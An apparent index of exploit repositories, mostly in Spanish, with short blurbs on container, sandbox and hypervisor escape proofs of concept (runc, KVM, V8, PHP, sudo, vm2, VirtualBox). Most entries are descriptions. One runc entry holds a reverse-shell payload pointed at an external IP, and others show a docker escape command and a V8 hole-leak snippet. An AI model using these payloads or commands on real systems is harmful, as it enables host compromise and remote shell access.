Zapscape

La trilogía de escapes de KVM ITScape CVE‑2026‑46316 | Januscape CVE‑2026‑53359 | Zapscape CVE‑2026‑64561 ---|---|--- Zapscape: Escape de invitado a host en KVM/x86 Resumen Este documento describe la vulnerabilidad Zapscape CVE-2026-64561 , descubierta e informada por Hyunwoo Kim @v4bel. Es una...

chromium-exploit-dev

Kit de desarrollo de exploits para Chromium Un conjunto de herramientas para convertir vulnerabilidades de Chromium en exploits completos, fiables y multiplataforma. Resumen Este proyecto proporciona un conjunto de potentes scripts auxiliares, pero requiere que aportes tus propias vulnerabilidade...

CVE-2024-21626

CVE-2024-21626 POC Requisitos runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy EOF !/bin/bash ba...

CVE-2025-6554

CVE-2025-6554 function leakhole let x; delete x?.y?.a; return y; let y; function pwn let hole = leakhole; %DebugPrinthole; pwn; 漏洞 变量 y 在声明之前被访问。正常情况下这会触发 ReferenceError（暂存死区，TDZ），但在旧版 V8 中，当与 delete x?.y 结合使用时，检查失败并返回内部哨兵值 "The Hole"。 补丁前 V8 仅检查了一次 TDZ，然后错误地假设 y 是有效的。这使得 "The Hole" 逃逸到用户代码中。 修复...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Uso : La máquina es vulnerable a CVE-2019-5736, sigue los pasos del exploit de Runc CVE-2019-5736. Descarga el archivo main.go, cambia el payload en el archivo a: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Después de eso, ejecuta: go...

docker_escape_pwn

Escape de Docker usando CVE-2017-1000112 y CVE-2017-18344. Incluyendo: obteniendo privilegios de root obtener todas las capabilities recuperación de namespaces recuperación del sistema de archivos bypass de limitaciones de cgroup bypass de seccomp...

TimeAfterFree

TimeAfterFree PHP 8 沙盒逃逸 PoC，演示在类Unix系统上绕过 disablefunctions。 该利用利用一个释放后使用（use-after-free）漏洞来绕过 disablefunctions 并执行系统命令。用于泄露堆指针和获取读写原语的利用技术使用了 DateInterval 对象。 该 PoC 已在多种标准 PHP 发行版和常见服务器 API（CLI、PHP-FPM、Apache 模块）上测试，并可确定性地重现。 受影响版本 PHP 8.2.x PHP 8.3.x PHP 8.4.x PHP 8.5.x 缓解措施 / 说明 PHP 核心内存不安全，典型...

CVE-2024-21626

CVE-2024-21626 Para una explicación detallada de esta vulnerabilidad, consulte mi artículo. Explotación Explotación mediante la ejecución de un contenedor No es necesario construir una imagen personalizada, solo ejecute un contenedor con el parámetro -w: docker run -w /proc/self/fd/8 --name...

ipv6_frag_escape

IPV6FRAGESCAPE Una prueba de concepto fiable de escape de contenedor / jaula sin privilegios para CentOS / RHEL 10. Aprovecha un bug de fragmentación IPv6 ya corregido en ip6appenddata cerrado upstream por 38becddc, sin CVE, un desbordamiento lineal dentro de la slab hacia skbsharedinfo en la col...

CVE-2025-2783

SandBoxEscapeSim CVE-2025-2783: Simulación educativa de escape de sandbox para Chrome Autor: Byte Reaper @ByteReaper0 Descripción general Este proyecto es una simulación orientada a la investigación y educativa diseñada para demostrar el concepto de una vulnerabilidad de escape de sandbox en Goog...

SpyPhone

En BlackHat DC 2010, presenté un artículo titulado iPhone Privacy. En este artículo, pongo en tela de juicio la siguiente afirmación de Apple: Las aplicaciones del dispositivo están "en un sandbox" aisladas, por lo que no pueden acceder a los datos almacenados por otras aplicaciones. Además, los...

CVE-2023-26818

Descargo de responsabilidad Este exploit ha sido creado únicamente con fines de investigación y para el desarrollo de técnicas defensivas efectivas. No está destinado a ser utilizado para actividades maliciosas o no autorizadas. El autor y el propietario del script rechazan cualquier...

ITScape

ITScape: Escape de invitado a anfitrión en KVM/arm64 Resumen Este documento describe la vulnerabilidad ITScape CVE-2026-46316 reportada y parcheada por Hyunwoo Kim @v4bel. Es una vulnerabilidad de escape de KVM que permite a un invitado escapar al anfitrión en un entorno KVM/arm64 y ejecutar...

s6_pcie_microblaze

Kit de hacking DIY para PCI Express Información general Contenido Configuración de la placa SP605 Configuración del software Ejemplos Uso de la API de Python Ataques DMA prácticos Ataques a la Option ROM Solución de problemas Compilación del proyecto desde el código fuente Información general Est...

CVE-2025-32463

🚨 PoC: CVE-2025-32463 – Vulnerabilidad de escape de chroot en Sudo Una vulnerabilidad crítica que afecta a versiones de sudo 1.9.0 a 1.9.17p1 , permitiendo a los usuarios escapar de chroot y obtener acceso al sistema de archivos raíz real. 📌 Descripción CVE-2025-32463 es una vulnerabilidad de...

POC-CVE-2019-5736

RunC-CVE-2019-5736 Video : https://bit.ly/2WqvILb Entrada del blog : www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html Aquí, me gustaría mencionar que el desarrollador original de este exploit es Yuval Avrahami de Twistlock Labs. Ejecutar los POCs Ten en cuenta que ejecutar l...

CVE-2026-21858-and-CVE-2025-68613

Ni8mare: n8n Pre-Auth RCE CVE-2026-21858 & CVE-2025-68613 — Laboratorio de Vulnerabilidad e Informe de PoC Entorno práctico Laboratorio Vulnerable e informe detallado de análisis y explotación de la cadena de vulnerabilidades Ni8mare en la plataforma n8n — desde Lectura Arbitraria de Archivos...

toothfairy

toothfairy Relacionado con brokentooth enlace abajo. A diferencia de brokentooth, toothfairy no requiere presionar botones en el menú de bluetooth. Ambos CVE fueron revelados por @SparkZheng pero sin PoC, así que decidí hacer un PoC para fines de aprendizaje. El código no es perfecto pero cumple ...

RWCTF21-VirtualBox-61-escape

RWCTF21-VirtualBox-61-escape 0day Escape de VirtualBox 6.1 para RealWorld CTF 2020/2021 Demostración ¿Qué? Esta es nuestra solución para el desafío "Box Escape" de RealWorld CTF de las clasificatorias 2020/2021. Actualmente es un 0day pero agregaremos el número CVE cuando exista. CVE-2021-2119...

CVE-2023-30547

CVE-2023-30547 Exploit PoC para la vulnerabilidad de escape de sandbox de VM2 alt img Descripción vm2 3.9.17 es vulnerable a la ejecución de código arbitrario debido a una falla en la sanitización de excepciones. Los atacantes pueden explotar esto provocando una excepción de host no sanitizada...